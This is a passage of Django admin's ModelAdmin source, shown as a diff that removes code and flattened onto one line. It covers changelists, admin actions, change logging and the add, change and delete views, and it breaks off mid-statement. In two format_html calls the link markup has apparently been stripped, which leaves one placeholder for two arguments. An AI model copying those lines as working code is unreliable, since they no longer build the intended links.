- - if defaults["fields"] is None and not modelform_defines_fields( - defaults["form"] - ): - defaults["fields"] = forms.ALL_FIELDS - - try: - return modelform_factory(self.model, **defaults) - except FieldError as e: - raise FieldError( - "%s. Check fields/fieldsets/exclude attributes of class %s." - % (e, self.__class__.__name__) - ) - - def get_changelist(self, request, **kwargs): - """ - Return the ChangeList class for use on the changelist page. - """ - from django.contrib.admin.views.main import ChangeList - - return ChangeList - - def get_changelist_instance(self, request): - """ - Return a `ChangeList` instance based on `request`. May raise - `IncorrectLookupParameters`. - """ - list_display = self.get_list_display(request) - list_display_links = self.get_list_display_links(request, list_display) - # Add the action checkboxes if any actions are available. - if self.get_actions(request): - list_display = ["action_checkbox", *list_display] - sortable_by = self.get_sortable_by(request) - ChangeList = self.get_changelist(request) - return ChangeList( - request, - self.model, - list_display, - list_display_links, - self.get_list_filter(request), - self.date_hierarchy, - self.get_search_fields(request), - self.get_list_select_related(request), - self.list_per_page, - self.list_max_show_all, - self.list_editable, - self, - sortable_by, - self.search_help_text, - ) - - def get_object(self, request, object_id, from_field=None): - """ - Return an instance matching the field and value provided, the primary - key is used if no field is provided. Return ``None`` if no match is - found or the object_id fails validation. - """ - queryset = self.get_queryset(request) - model = queryset.model - field = ( - model._meta.pk if from_field is None else model._meta.get_field(from_field) - ) - try: - object_id = field.to_python(object_id) - return queryset.get(**{field.name: object_id}) - except (model.DoesNotExist, ValidationError, ValueError): - return None - - def get_changelist_form(self, request, **kwargs): - """ - Return a Form class for use in the Formset on the changelist page. - """ - defaults = { - "formfield_callback": partial(self.formfield_for_dbfield, request=request), - **kwargs, - } - if defaults.get("fields") is None and not modelform_defines_fields( - defaults.get("form") - ): - defaults["fields"] = forms.ALL_FIELDS - - return modelform_factory(self.model, **defaults) - - def get_changelist_formset(self, request, **kwargs): - """ - Return a FormSet class for use on the changelist page if list_editable - is used. - """ - defaults = { - "formfield_callback": partial(self.formfield_for_dbfield, request=request), - **kwargs, - } - return modelformset_factory( - self.model, - self.get_changelist_form(request), - extra=0, - fields=self.list_editable, - **defaults, - ) - - def get_formsets_with_inlines(self, request, obj=None): - """ - Yield formsets and the corresponding inlines. - """ - for inline in self.get_inline_instances(request, obj): - yield inline.get_formset(request, obj), inline - - def get_paginator( - self, request, queryset, per_page, orphans=0, allow_empty_first_page=True - ): - return self.paginator(queryset, per_page, orphans, allow_empty_first_page) - - def log_addition(self, request, obj, message): - """ - Log that an object has been successfully added. - - The default implementation creates an admin LogEntry object. - """ - from django.contrib.admin.models import ADDITION, LogEntry - - return LogEntry.objects.log_actions( - user_id=request.user.pk, - queryset=[obj], - action_flag=ADDITION, - change_message=message, - single_object=True, - ) - - def log_change(self, request, obj, message): - """ - Log that an object has been successfully changed. - - The default implementation creates an admin LogEntry object. - """ - from django.contrib.admin.models import CHANGE, LogEntry - - return LogEntry.objects.log_actions( - user_id=request.user.pk, - queryset=[obj], - action_flag=CHANGE, - change_message=message, - single_object=True, - ) - - def log_deletion(self, request, obj, object_repr): - """ - Log that an object will be deleted. Note that this method must be - called before the deletion. - - The default implementation creates an admin LogEntry object. - """ - warnings.warn( - "ModelAdmin.log_deletion() is deprecated. Use log_deletions() instead.", - RemovedInDjango60Warning, - stacklevel=2, - ) - from django.contrib.admin.models import DELETION, LogEntry - - return LogEntry.objects.log_action( - user_id=request.user.pk, - content_type_id=get_content_type_for_model(obj).pk, - object_id=obj.pk, - object_repr=object_repr, - action_flag=DELETION, - ) - - def log_deletions(self, request, queryset): - """ - Log that objects will be deleted. Note that this method must be called - before the deletion. - - The default implementation creates admin LogEntry objects. - """ - from django.contrib.admin.models import DELETION, LogEntry - - # RemovedInDjango60Warning. - if type(self).log_deletion != ModelAdmin.log_deletion: - warnings.warn( - "The usage of log_deletion() is deprecated. Implement log_deletions() " - "instead.", - RemovedInDjango60Warning, - stacklevel=2, - ) - return [self.log_deletion(request, obj, str(obj)) for obj in queryset] - - return LogEntry.objects.log_actions( - user_id=request.user.pk, - queryset=queryset, - action_flag=DELETION, - ) - - def action_checkbox(self, obj): - """ - A list_display column containing a checkbox widget. - """ - attrs = { - "class": "action-select", - "aria-label": format_html( - _("Select this object for an action - {}"), str(obj) - ), - } - checkbox = forms.CheckboxInput(attrs, lambda value: False) - return checkbox.render(helpers.ACTION_CHECKBOX_NAME, str(obj.pk)) - - @staticmethod - def _get_action_description(func, name): - try: - return func.short_description - except AttributeError: - return capfirst(name.replace("_", " ")) - - def _get_base_actions(self): - """Return the list of actions, prior to any request-based filtering.""" - actions = [] - base_actions = (self.get_action(action) for action in self.actions or []) - # get_action might have returned None, so filter any of those out. - base_actions = [action for action in base_actions if action] - base_action_names = {name for _, name, _ in base_actions} - - # Gather actions from the admin site first - for name, func in self.admin_site.actions: - if name in base_action_names: - continue - description = self._get_action_description(func, name) - actions.append((func, name, description)) - # Add actions from this ModelAdmin. - actions.extend(base_actions) - return actions - - def _filter_actions_by_permissions(self, request, actions): - """Filter out any actions that the user doesn't have access to.""" - filtered_actions = [] - for action in actions: - callable = action[0] - if not hasattr(callable, "allowed_permissions"): - filtered_actions.append(action) - continue - permission_checks = ( - getattr(self, "has_%s_permission" % permission) - for permission in callable.allowed_permissions - ) - if any(has_permission(request) for has_permission in permission_checks): - filtered_actions.append(action) - return filtered_actions - - def get_actions(self, request): - """ - Return a dictionary mapping the names of all actions for this - ModelAdmin to a tuple of (callable, name, description) for each action. - """ - # If self.actions is set to None that means actions are disabled on - # this page. - if self.actions is None or IS_POPUP_VAR in request.GET: - return {} - actions = self._filter_actions_by_permissions(request, self._get_base_actions()) - return {name: (func, name, desc) for func, name, desc in actions} - - def get_action_choices(self, request, default_choices=models.BLANK_CHOICE_DASH): - """ - Return a list of choices for use in a form object. Each choice is a - tuple (name, description). - """ - choices = [] + default_choices - for func, name, description in self.get_actions(request).values(): - choice = (name, description % model_format_dict(self.opts)) - choices.append(choice) - return choices - - def get_action(self, action): - """ - Return a given action from a parameter, which can either be a callable, - or the name of a method on the ModelAdmin. Return is a tuple of - (callable, name, description). - """ - # If the action is a callable, just use it. - if callable(action): - func = action - action = action.__name__ - - # Next, look for a method. Grab it off self.__class__ to get an unbound - # method instead of a bound one; this ensures that the calling - # conventions are the same for functions and methods. - elif hasattr(self.__class__, action): - func = getattr(self.__class__, action) - - # Finally, look for a named method on the admin site - else: - try: - func = self.admin_site.get_action(action) - except KeyError: - return None - - description = self._get_action_description(func, action) - return func, action, description - - def get_list_display(self, request): - """ - Return a sequence containing the fields to be displayed on the - changelist. - """ - return self.list_display - - def get_list_display_links(self, request, list_display): - """ - Return a sequence containing the fields to be displayed as links - on the changelist. The list_display parameter is the list of fields - returned by get_list_display(). - """ - if ( - self.list_display_links - or self.list_display_links is None - or not list_display - ): - return self.list_display_links - else: - # Use only the first item in list_display as link - return list(list_display)[:1] - - def get_list_filter(self, request): - """ - Return a sequence containing the fields to be displayed as filters in - the right sidebar of the changelist page. - """ - return self.list_filter - - def get_list_select_related(self, request): - """ - Return a list of fields to add to the select_related() part of the - changelist items query. - """ - return self.list_select_related - - def get_search_fields(self, request): - """ - Return a sequence containing the fields to be searched whenever - somebody submits a search query. - """ - return self.search_fields - - def get_search_results(self, request, queryset, search_term): - """ - Return a tuple containing a queryset to implement the search - and a boolean indicating if the results may contain duplicates. - """ - - # Apply keyword searches. - def construct_search(field_name): - if field_name.startswith("^"): - return "%s__istartswith" % field_name.removeprefix("^"), None - elif field_name.startswith("="): - return "%s__iexact" % field_name.removeprefix("="), None - elif field_name.startswith("@"): - return "%s__search" % field_name.removeprefix("@"), None - # Use field_name if it includes a lookup. - opts = queryset.model._meta - lookup_fields = field_name.split(LOOKUP_SEP) - # Go through the fields, following all relations. - prev_field = None - for i, path_part in enumerate(lookup_fields): - if path_part == "pk": - path_part = opts.pk.name - try: - field = opts.get_field(path_part) - except FieldDoesNotExist: - # Use valid query lookups. - if prev_field and prev_field.get_lookup(path_part): - if path_part == "exact" and not isinstance( - prev_field, (models.CharField, models.TextField) - ): - field_name_without_exact = "__".join(lookup_fields[:i]) - alias = Cast( - field_name_without_exact, - output_field=models.CharField(), - ) - alias_name = "_".join(lookup_fields[:i]) - return f"{alias_name}_str", alias - else: - return field_name, None - else: - prev_field = field - if hasattr(field, "path_infos"): - # Update opts to follow the relation. - opts = field.path_infos[-1].to_opts - # Otherwise, use the field with icontains. - return "%s__icontains" % field_name, None - - may_have_duplicates = False - search_fields = self.get_search_fields(request) - if search_fields and search_term: - str_aliases = {} - orm_lookups = [] - for field in search_fields: - lookup, str_alias = construct_search(str(field)) - orm_lookups.append(lookup) - if str_alias: - str_aliases[lookup] = str_alias - - if str_aliases: - queryset = queryset.alias(**str_aliases) - - term_queries = [] - for bit in smart_split(search_term): - if bit.startswith(('"', "'")) and bit[0] == bit[-1]: - bit = unescape_string_literal(bit) - or_queries = models.Q.create( - [(orm_lookup, bit) for orm_lookup in orm_lookups], - connector=models.Q.OR, - ) - term_queries.append(or_queries) - queryset = queryset.filter(models.Q.create(term_queries)) - may_have_duplicates |= any( - lookup_spawns_duplicates(self.opts, search_spec) - for search_spec in orm_lookups - ) - return queryset, may_have_duplicates - - def get_preserved_filters(self, request): - """ - Return the preserved filters querystring. - """ - match = request.resolver_match - if self.preserve_filters and match: - current_url = "%s:%s" % (match.app_name, match.url_name) - changelist_url = "admin:%s_%s_changelist" % ( - self.opts.app_label, - self.opts.model_name, - ) - if current_url == changelist_url: - preserved_filters = request.GET.urlencode() - else: - preserved_filters = request.GET.get("_changelist_filters") - - if preserved_filters: - return urlencode({"_changelist_filters": preserved_filters}) - return "" - - def construct_change_message(self, request, form, formsets, add=False): - """ - Construct a JSON structure describing changes from a changed object. - """ - return construct_change_message(form, formsets, add) - - def message_user( - self, request, message, level=messages.INFO, extra_tags="", fail_silently=False - ): - """ - Send a message to the user. The default implementation - posts a message using the django.contrib.messages backend. - - Exposes almost the same API as messages.add_message(), but accepts the - positional arguments in a different order to maintain backwards - compatibility. For convenience, it accepts the `level` argument as - a string rather than the usual level number. - """ - if not isinstance(level, int): - # attempt to get the level if passed a string - try: - level = getattr(messages.constants, level.upper()) - except AttributeError: - levels = messages.constants.DEFAULT_TAGS.values() - levels_repr = ", ".join("`%s`" % level for level in levels) - raise ValueError( - "Bad message level string: `%s`. Possible values are: %s" - % (level, levels_repr) - ) - - messages.add_message( - request, level, message, extra_tags=extra_tags, fail_silently=fail_silently - ) - - def save_form(self, request, form, change): - """ - Given a ModelForm return an unsaved instance. ``change`` is True if - the object is being changed, and False if it's being added. - """ - return form.save(commit=False) - - def save_model(self, request, obj, form, change): - """ - Given a model instance save it to the database. - """ - obj.save() - - def delete_model(self, request, obj): - """ - Given a model instance delete it from the database. - """ - obj.delete() - - def delete_queryset(self, request, queryset): - """Given a queryset, delete it from the database.""" - queryset.delete() - - def save_formset(self, request, form, formset, change): - """ - Given an inline formset save it to the database. - """ - formset.save() - - def save_related(self, request, form, formsets, change): - """ - Given the ``HttpRequest``, the parent ``ModelForm`` instance, the - list of inline formsets and a boolean value based on whether the - parent is being added or changed, save the related objects to the - database. Note that at this point save_form() and save_model() have - already been called. - """ - form.save_m2m() - for formset in formsets: - self.save_formset(request, form, formset, change=change) - - def render_change_form( - self, request, context, add=False, change=False, form_url="", obj=None - ): - app_label = self.opts.app_label - preserved_filters = self.get_preserved_filters(request) - form_url = add_preserved_filters( - {"preserved_filters": preserved_filters, "opts": self.opts}, form_url - ) - view_on_site_url = self.get_view_on_site_url(obj) - has_editable_inline_admin_formsets = False - for inline in context["inline_admin_formsets"]: - if ( - inline.has_add_permission - or inline.has_change_permission - or inline.has_delete_permission - ): - has_editable_inline_admin_formsets = True - break - context.update( - { - "add": add, - "change": change, - "has_view_permission": self.has_view_permission(request, obj), - "has_add_permission": self.has_add_permission(request), - "has_change_permission": self.has_change_permission(request, obj), - "has_delete_permission": self.has_delete_permission(request, obj), - "has_editable_inline_admin_formsets": ( - has_editable_inline_admin_formsets - ), - "has_file_field": context["adminform"].form.is_multipart() - or any( - admin_formset.formset.is_multipart() - for admin_formset in context["inline_admin_formsets"] - ), - "has_absolute_url": view_on_site_url is not None, - "absolute_url": view_on_site_url, - "form_url": form_url, - "opts": self.opts, - "content_type_id": get_content_type_for_model(self.model).pk, - "save_as": self.save_as, - "save_on_top": self.save_on_top, - "to_field_var": TO_FIELD_VAR, - "is_popup_var": IS_POPUP_VAR, - "app_label": app_label, - } - ) - if add and self.add_form_template is not None: - form_template = self.add_form_template - else: - form_template = self.change_form_template - - request.current_app = self.admin_site.name - - return TemplateResponse( - request, - form_template - or [ - "admin/%s/%s/change_form.html" % (app_label, self.opts.model_name), - "admin/%s/change_form.html" % app_label, - "admin/change_form.html", - ], - context, - ) - - def _get_preserved_qsl(self, request, preserved_filters): - query_string = urlsplit(request.build_absolute_uri()).query - return parse_qsl(query_string.replace(preserved_filters, "")) - - def response_add(self, request, obj, post_url_continue=None): - """ - Determine the HttpResponse for the add_view stage. - """ - opts = obj._meta - preserved_filters = self.get_preserved_filters(request) - preserved_qsl = self._get_preserved_qsl(request, preserved_filters) - obj_url = reverse( - "admin:%s_%s_change" % (opts.app_label, opts.model_name), - args=(quote(obj.pk),), - current_app=self.admin_site.name, - ) - # Add a link to the object's change form if the user can edit the obj. - if self.has_change_permission(request, obj): - obj_repr = format_html('{}', urlquote(obj_url), obj) - else: - obj_repr = str(obj) - msg_dict = { - "name": opts.verbose_name, - "obj": obj_repr, - } - # Here, we distinguish between different save types by checking for - # the presence of keys in request.POST. - - if IS_POPUP_VAR in request.POST: - to_field = request.POST.get(TO_FIELD_VAR) - if to_field: - attr = str(to_field) - else: - attr = obj._meta.pk.attname - value = obj.serializable_value(attr) - popup_response_data = json.dumps( - { - "value": str(value), - "obj": str(obj), - } - ) - return TemplateResponse( - request, - self.popup_response_template - or [ - "admin/%s/%s/popup_response.html" - % (opts.app_label, opts.model_name), - "admin/%s/popup_response.html" % opts.app_label, - "admin/popup_response.html", - ], - { - "popup_response_data": popup_response_data, - }, - ) - - elif "_continue" in request.POST or ( - # Redirecting after "Save as new". - "_saveasnew" in request.POST - and self.save_as_continue - and self.has_change_permission(request, obj) - ): - msg = _("The {name} “{obj}” was added successfully.") - if self.has_change_permission(request, obj): - msg += " " + _("You may edit it again below.") - self.message_user(request, format_html(msg, **msg_dict), messages.SUCCESS) - if post_url_continue is None: - post_url_continue = obj_url - post_url_continue = add_preserved_filters( - { - "preserved_filters": preserved_filters, - "preserved_qsl": preserved_qsl, - "opts": opts, - }, - post_url_continue, - ) - return HttpResponseRedirect(post_url_continue) - - elif "_addanother" in request.POST: - msg = format_html( - _( - "The {name} “{obj}” was added successfully. You may add another " - "{name} below." - ), - **msg_dict, - ) - self.message_user(request, msg, messages.SUCCESS) - redirect_url = request.path - redirect_url = add_preserved_filters( - { - "preserved_filters": preserved_filters, - "preserved_qsl": preserved_qsl, - "opts": opts, - }, - redirect_url, - ) - return HttpResponseRedirect(redirect_url) - - else: - msg = format_html( - _("The {name} “{obj}” was added successfully."), **msg_dict - ) - self.message_user(request, msg, messages.SUCCESS) - return self.response_post_save_add(request, obj) - - def response_change(self, request, obj): - """ - Determine the HttpResponse for the change_view stage. - """ - - if IS_POPUP_VAR in request.POST: - opts = obj._meta - to_field = request.POST.get(TO_FIELD_VAR) - attr = str(to_field) if to_field else opts.pk.attname - value = request.resolver_match.kwargs["object_id"] - new_value = obj.serializable_value(attr) - popup_response_data = json.dumps( - { - "action": "change", - "value": str(value), - "obj": str(obj), - "new_value": str(new_value), - } - ) - return TemplateResponse( - request, - self.popup_response_template - or [ - "admin/%s/%s/popup_response.html" - % (opts.app_label, opts.model_name), - "admin/%s/popup_response.html" % opts.app_label, - "admin/popup_response.html", - ], - { - "popup_response_data": popup_response_data, - }, - ) - - opts = self.opts - preserved_filters = self.get_preserved_filters(request) - preserved_qsl = self._get_preserved_qsl(request, preserved_filters) - - msg_dict = { - "name": opts.verbose_name, - "obj": format_html('{}', urlquote(request.path), obj), - } - if "_continue" in request.POST: - msg = format_html( - _( - "The {name} “{obj}” was changed successfully. You may edit it " - "again below." - ), - **msg_dict, - ) - self.message_user(request, msg, messages.SUCCESS) - redirect_url = request.path - redirect_url = add_preserved_filters( - { - "preserved_filters": preserved_filters, - "preserved_qsl": preserved_qsl, - "opts": opts, - }, - redirect_url, - ) - return HttpResponseRedirect(redirect_url) - - elif "_addanother" in request.POST: - msg = format_html( - _( - "The {name} “{obj}” was changed successfully. You may add another " - "{name} below." - ), - **msg_dict, - ) - self.message_user(request, msg, messages.SUCCESS) - redirect_url = reverse( - "admin:%s_%s_add" % (opts.app_label, opts.model_name), - current_app=self.admin_site.name, - ) - redirect_url = add_preserved_filters( - { - "preserved_filters": preserved_filters, - "preserved_qsl": preserved_qsl, - "opts": opts, - }, - redirect_url, - ) - return HttpResponseRedirect(redirect_url) - - else: - msg = format_html( - _("The {name} “{obj}” was changed successfully."), **msg_dict - ) - self.message_user(request, msg, messages.SUCCESS) - return self.response_post_save_change(request, obj) - - def _response_post_save(self, request, obj): - if self.has_view_or_change_permission(request): - post_url = reverse( - "admin:%s_%s_changelist" % (self.opts.app_label, self.opts.model_name), - current_app=self.admin_site.name, - ) - preserved_filters = self.get_preserved_filters(request) - post_url = add_preserved_filters( - {"preserved_filters": preserved_filters, "opts": self.opts}, post_url - ) - else: - post_url = reverse("admin:index", current_app=self.admin_site.name) - return HttpResponseRedirect(post_url) - - def response_post_save_add(self, request, obj): - """ - Figure out where to redirect after the 'Save' button has been pressed - when adding a new object. - """ - return self._response_post_save(request, obj) - - def response_post_save_change(self, request, obj): - """ - Figure out where to redirect after the 'Save' button has been pressed - when editing an existing object. - """ - return self._response_post_save(request, obj) - - def response_action(self, request, queryset): - """ - Handle an admin action. This is called if a request is POSTed to the - changelist; it returns an HttpResponse if the action was handled, and - None otherwise. - """ - - # There can be multiple action forms on the page (at the top - # and bottom of the change list, for example). Get the action - # whose button was pushed. - try: - action_index = int(request.POST.get("index", 0)) - except ValueError: - action_index = 0 - - # Construct the action form. - data = request.POST.copy() - data.pop(helpers.ACTION_CHECKBOX_NAME, None) - data.pop("index", None) - - # Use the action whose button was pushed - try: - data.update({"action": data.getlist("action")[action_index]}) - except IndexError: - # If we didn't get an action from the chosen form that's invalid - # POST data, so by deleting action it'll fail the validation check - # below. So no need to do anything here - pass - - action_form = self.action_form(data, auto_id=None) - action_form.fields["action"].choices = self.get_action_choices(request) - - # If the form's valid we can handle the action. - if action_form.is_valid(): - action = action_form.cleaned_data["action"] - select_across = action_form.cleaned_data["select_across"] - func = self.get_actions(request)[action][0] - - # Get the list of selected PKs. If nothing's selected, we can't - # perform an action on it, so bail. Except we want to perform - # the action explicitly on all objects. - selected = request.POST.getlist(helpers.ACTION_CHECKBOX_NAME) - if not selected and not select_across: - # Reminder that something needs to be selected or nothing will happen - msg = _( - "Items must be selected in order to perform " - "actions on them. No items have been changed." - ) - self.message_user(request, msg, messages.WARNING) - return None - - if not select_across: - # Perform the action only on the selected objects - queryset = queryset.filter(pk__in=selected) - - response = func(self, request, queryset) - - # Actions may return an HttpResponse-like object, which will be - # used as the response from the POST. If not, we'll be a good - # little HTTP citizen and redirect back to the changelist page. - if isinstance(response, HttpResponseBase): - return response - else: - return HttpResponseRedirect(request.get_full_path()) - else: - msg = _("No action selected.") - self.message_user(request, msg, messages.WARNING) - return None - - def response_delete(self, request, obj_display, obj_id): - """ - Determine the HttpResponse for the delete_view stage. - """ - if IS_POPUP_VAR in request.POST: - popup_response_data = json.dumps( - { - "action": "delete", - "value": str(obj_id), - } - ) - return TemplateResponse( - request, - self.popup_response_template - or [ - "admin/%s/%s/popup_response.html" - % (self.opts.app_label, self.opts.model_name), - "admin/%s/popup_response.html" % self.opts.app_label, - "admin/popup_response.html", - ], - { - "popup_response_data": popup_response_data, - }, - ) - - self.message_user( - request, - _("The %(name)s “%(obj)s” was deleted successfully.") - % { - "name": self.opts.verbose_name, - "obj": obj_display, - }, - messages.SUCCESS, - ) - - if self.has_change_permission(request, None): - post_url = reverse( - "admin:%s_%s_changelist" % (self.opts.app_label, self.opts.model_name), - current_app=self.admin_site.name, - ) - preserved_filters = self.get_preserved_filters(request) - post_url = add_preserved_filters( - {"preserved_filters": preserved_filters, "opts": self.opts}, post_url - ) - else: - post_url = reverse("admin:index", current_app=self.admin_site.name) - return HttpResponseRedirect(post_url) - - def render_delete_form(self, request, context): - app_label = self.opts.app_label - - request.current_app = self.admin_site.name - context.update( - to_field_var=TO_FIELD_VAR, - is_popup_var=IS_POPUP_VAR, - media=self.media, - ) - - return TemplateResponse( - request, - self.delete_confirmation_template - or [ - "admin/{}/{}/delete_confirmation.html".format( - app_label, self.opts.model_name - ), - "admin/{}/delete_confirmation.html".format(app_label), - "admin/delete_confirmation.html", - ], - context, - ) - - def get_inline_formsets(self, request, formsets, inline_instances, obj=None): - # Edit permissions on parent model are required for editable inlines. - can_edit_parent = ( - self.has_change_permission(request, obj) - if obj - else self.has_add_permission(request) - ) - inline_admin_formsets = [] - for inline, formset in zip(inline_instances, formsets): - fieldsets = list(inline.get_fieldsets(request, obj)) - readonly = list(inline.get_readonly_fields(request, obj)) - if can_edit_parent: - has_add_permission = inline.has_add_permission(request, obj) - has_change_permission = inline.has_change_permission(request, obj) - has_delete_permission = inline.has_delete_permission(request, obj) - else: - # Disable all edit-permissions, and override formset settings. - has_add_permission = has_change_permission = has_delete_permission = ( - False - ) - formset.extra = formset.max_num = 0 - has_view_permission = inline.has_view_permission(request, obj) - prepopulated = dict(inline.get_prepopulated_fields(request, obj)) - inline_admin_formset = helpers.InlineAdminFormSet( - inline, - formset, - fieldsets, - prepopulated, - readonly, - model_admin=self, - has_add_permission=has_add_permission, - has_change_permission=has_change_permission, - has_delete_permission=has_delete_permission, - has_view_permission=has_view_permission, - ) - inline_admin_formsets.append(inline_admin_formset) - return inline_admin_formsets - - def get_changeform_initial_data(self, request): - """ - Get the initial form data from the request's GET params. - """ - initial = dict(request.GET.items()) - for k in initial: - try: - f = self.opts.get_field(k) - except FieldDoesNotExist: - continue - # We have to special-case M2Ms as a list of comma-separated PKs. - if isinstance(f, models.ManyToManyField): - initial[k] = initial[k].split(",") - return initial - - def _get_obj_does_not_exist_redirect(self, request, opts, object_id): - """ - Create a message informing the user that the object doesn't exist - and return a redirect to the admin index page. - """ - msg = _("%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?") % { - "name": opts.verbose_name, - "key": unquote(object_id), - } - self.message_user(request, msg, messages.WARNING) - url = reverse("admin:index", current_app=self.admin_site.name) - return HttpResponseRedirect(url) - - @csrf_protect_m - def changeform_view(self, request, object_id=None, form_url="", extra_context=None): - if request.method in ("GET", "HEAD", "OPTIONS", "TRACE"): - return self._changeform_view(request, object_id, form_url, extra_context) - - with transaction.atomic(using=router.db_for_write(self.model)): - return self._changeform_view(request, object_id, form_url, extra_context) - - def _changeform_view(self, request, object_id, form_url, extra_context): - to_field = request.POST.get(TO_FIELD_VAR, request.GET.get(TO_FIELD_VAR)) - if to_field and not self.to_field_allowed(request, to_field): - raise DisallowedModelAdminToField( - "The field %s cannot be referenced." % to_field - ) - - if request.method == "POST" and "_saveasnew" in request.POST: - object_id = None - - add = object_id is None - - if add: - if not self.has_add_permission(request): - raise PermissionDenied - obj = None - - else: - obj = self.get_object(request, unquote(object_id), to_field) - - if request.method == "POST": - if not self.has_change_permission(request, obj): - raise PermissionDenied - else: - if not self.has_view_or_change_permission(request, obj): - raise PermissionDenied - - if obj is None: - return self._get_obj_does_not_exist_redirect( - request, self.opts, object_id - ) - - fieldsets = self.get_fieldsets(request, obj) - ModelForm = self.get_form( - request, obj, change=not add, fields=flatten_fieldsets(fieldsets) - ) - if request.method == "POST": - form = ModelForm(request.POST, request.FILES, instance=obj) - formsets, inline_instances = self._create_formsets( - request, - form.instance, - change=not add, - ) - form_validated = form.is_valid() - if form_validated: - new_object = self.save_form(request, form, change=not add) - else: - new_object = form.instance - if all_valid(formsets) and form_validated: - self.save_model(request, new_object, form, not add) - self.save_related(request, form, formsets, not add) - change_message = self.construct_change_message( - request, form, formsets, add - ) - if add: - self.log_addition(request, new_object, change_message) - return self.response_add(request, new_object) - else: - self.log_change(request, new_object, change_message) - return self.response_change(request, new_object) - else: - form_validated = False - else: - if add: - initial = self.get_changeform_initial_data(request) - form = ModelForm(initial=initial) - formsets, inline_instances = self._create_formsets( - request, form.instance, change=False - ) - else: - form = ModelForm(instance=obj) - formsets, inline_instances = self._create_formsets( - request, obj, change=True - ) - - if not add and not self.has_change_permission(request, obj): - readonly_fields = flatten_fieldsets(fieldsets) - else: - readonly_fields = self.get_readonly_fields(request, obj) - admin_form = helpers.AdminForm( - form, - list(fieldsets), - # Clear prepopulated fields on a view-only form to avoid a crash. - ( - self.get_prepopulated_fields(request, obj) - if add or self.has_change_permission(request, obj) - else {} - ), - readonly_fields, - model_admin=self, - ) - media = self.media + admin_form.media - - inline_formsets = self.get_inline_formsets( - request, formsets, inline_instances, obj - ) - for inline_formset in inline_formsets: - media += inline_formset.media - - if add: - title = _("Add %s") - elif self.has_change_permission(request, obj): - title = _("Change %s") - else: - title = _("View %s") - context = { - **self.admin_site.each_context(request), - "title": title % self.opts.verbose_name, - "subtitle": str(obj) if obj else None, - "adminform": admin_form, - "object_id": object_id, - "original": obj, - "is_popup": IS_POPUP_VAR in request.POST or IS_POPUP_VAR in request.GET, - "to_field": to_field, - "media": media, - "inline_admin_formsets": inline_formsets, - "errors": helpers.AdminErrorList(form, formsets), - "preserved_filters": self.get_preserved_filters(request), - } - - # Hide the "Save" and "Save and continue" buttons if "Save as New" was - # previously chosen to prevent the interface from getting confusing. - if ( - request.method == "POST" - and not form_validated - and "_saveasnew" in request.POST - ): - context["show_save"] = False - context["show_save_and_continue"] = False - # Use the change template instead of the add template. - add = False - - context.update(extra_context or {}) - - return self.render_change_form( - request, context, add=add, change=not add, obj=obj, form_url=form_url - ) - - def add_view(self, request, form_url="", extra_context=None): - return self.changeform_view(request, None, form_url, extra_context) - - def change_view(self, request, object_id, form_url="", extra_context=None): - return self.changeform_view(request, object_id, form_url, extra_context) - - def _get_edited_object_pks(self, request, prefix): - """Return POST data values of list_editable primary keys.""" - pk_pattern = re.compile( - r"{}-\d+-{}$".format(re.escape(prefix), self.opts.pk.name) - ) - return [value for key, value in request.POST.items() if pk_pattern.match(key)] - - def _get_list_editable_queryset(self, request, prefix): - """ - Based on POST data, return a queryset of the objects that were edited - via list_editable. - """ - object_pks = self._get_edited_object_pks(request, prefix) - queryset = self.get_queryset(request) - validate = queryset.model._meta.pk.to_python - try: - for pk in object_pks: - validate(pk) - except ValidationError: - # Disable the optimization if the POST data was tampered with. - return queryset - return queryset.filter(pk__in=object_pks) - - @csrf_protect_m - def changelist_view(self, request, extra_context=None): - """ - The 'change list' admin view for this model. - """ - from django.contrib.admin.views.main import ERROR_FLAG - - app_label = self.opts.app_label - if not self.has_view_or_change_permission(request): - raise PermissionDenied - - try: - cl = self.get_changelist_instance(request) - except IncorrectLookupParameters: - # Wacky lookup parameters were given, so redirect to the main - # changelist page, without parameters, and pass an 'invalid=1' - # parameter via the query string. If wacky parameters were given - # and the 'invalid=1' parameter was already in the query string, - # something is screwed up with the database, so display an error - # page. - if ERROR_FLAG in request.GET: - return SimpleTemplateResponse( - "admin/invalid_setup.html", - { - "title": _("Database error"), - }, - ) - return HttpResponseRedirect(request.path + "?" + ERROR_FLAG + "=1") - - # If the request was POSTed, this might be a bulk action or a bulk - # edit. Try to look up an action or confirmation first, but if this - # isn't an action the POST will fall through to the bulk edit check, - # below. - action_failed = False - selected = request.POST.getlist(helpers.ACTION_CHECKBOX_NAME) - - actions = self.get_actions(request) - # Actions with no confirmation - if ( - actions - and request.method == "POST" - and "index" in request.POST - and "_save" not in request.POST - ): - if selected: - response = self.response_action( - request, queryset=cl.get_queryset(request) - ) - if response: - return response - else: - action_failed = True - else: - msg = _( - "Items must be selected in order to perform " - "actions on them. No items have been changed." - ) - self.message_user(request, msg, messages.WARNING) - action_failed = True - - # Actions with confirmation - if ( - actions - and request.method == "POST" - and helpers.ACTION_CHECKBOX_NAME in request.POST - and "index" not in request.POST - and "_save" not in request.POST - ): - if selected: - response = self.response_action( - request, queryset=cl.get_queryset(request) - ) - if response: - return response - else: - action_failed = True - - if action_failed: - # Redirect back to the changelist page to avoid resubmitting the - # form if the user refreshes the browser or uses the "No, take - # me back" button on the action confirmation page. - return HttpResponseRedirect(request.get_full_path()) - - # If we're allowing changelist editing, we need to construct a formset - # for the changelist given all the fields to be edited. Then we'll - # use the formset to validate/process POSTed data. - formset = cl.formset = None - - # Handle POSTed bulk-edit data. - if request.method == "POST" and cl.list_editable and "_save" in request.POST: - if not self.has_change_permission(request): - raise PermissionDenied - FormSet = self.get_changelist_formset(request) - modified_objects = self._get_list_editable_queryset( - request, FormSet.get_default_prefix() - ) - formset = cl.formset = FormSet( - request.POST, request.FILES, queryset=modified_objects - ) - if formset.is_valid(): - changecount = 0 - with transaction.atomic(using=router.db_for_write(self.model)): - for form in formset.forms: - if form.has_changed(): - obj = self.save_form(request, form, change=True) - self.save_model(request, obj, form, change=True) - self.save_related(request, form, formsets=[], change=True) - change_msg = self.construct_change_message( - request, form, None - ) - self.log_change(request, obj, change_msg) - changecount += 1 - if changecount: - msg = ngettext( - "%(count)s %(name)s was changed successfully.", - "%(count)s %(name)s were changed successfully.", - changecount, - ) % { - "count": changecount, - "name": model_ngettext(self.opts, changecount), - } - self.message_user(request, msg, messages.SUCCESS) - - return HttpResponseRedirect(request.get_full_path()) - - # Handle GET -- construct a formset for display. - elif cl.list_editable and self.has_change_permission(request): - FormSet = self.get_changelist_formset(request) - formset = 